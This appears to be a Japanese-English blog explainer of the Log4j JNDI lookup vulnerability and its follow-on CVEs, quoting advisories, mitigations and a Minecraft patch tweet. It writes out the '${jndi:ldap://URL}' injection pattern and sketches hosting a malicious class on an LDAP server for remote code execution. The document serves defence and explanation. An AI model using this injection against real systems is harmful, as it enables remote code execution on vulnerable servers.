Java 製 Logger “Log4j” の脆弱性について

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default.

今回問題となっているのはJndi Lookupだ。これはJavaのJava Naming and Directory Interfaceによる変数名の置換で、ネットワーク越しに変数に相当する値を検索することができる。その中にLDAPも含まれる。例えば"${jndi:ldap://someremoteclass}"のようになる。

問題は、このURLに.を含めることにより、lg4jは任意のリモートのLDAPサーバーからjava classファイルをダウンロードして読み込んでしまうのだ。

なので悪意あるjava classファイルとそれをホストするLDAPサーバーを用意して、ターゲットとなるJavaで動きlog4jを使っているプログラムに"${jndi:ldap://URL}"の形でログ出力されるようにすれば、任意のコード実行が可能になる。

In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.noFormatMsgLookup to true do NOT mitigate this specific vulnerability.

Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. This is also known as a DOS (Denial of Service) attack.

• In PatternLayout in the logging configuration, replace Context Lookups like ${ctx:loginId} or $${ctx:loginId} with Thread Context Map patterns (%X, %mdc, or %MDC).
• Otherwise, in the configuration, remove references to Context Lookups like ${ctx:loginId} or $${ctx:loginId} where they originate from sources external to the application such as HTTP headers or user input.

1. write access to logback.xml
2. use of versions < 1.2.8
3. reloading of poisoned configuration data, which implies application restart or scan="true" set prior to attack

Critical RCE exploit discovered on all Minecraft
Java versions from 1.7 to 1.18, clients and servers. (Log4j2 2.0.0 - 2.14.1 vuln)
Fix it w:
- Use -Dlog4j2.formatMsgNoLookups=true
- Update Fabric Loader to 0.12.9
- Upgrade Paper server to latest 1.18
- Wait for mojang patches

— Minecraft@Home (@minecraftathome) December 10, 2021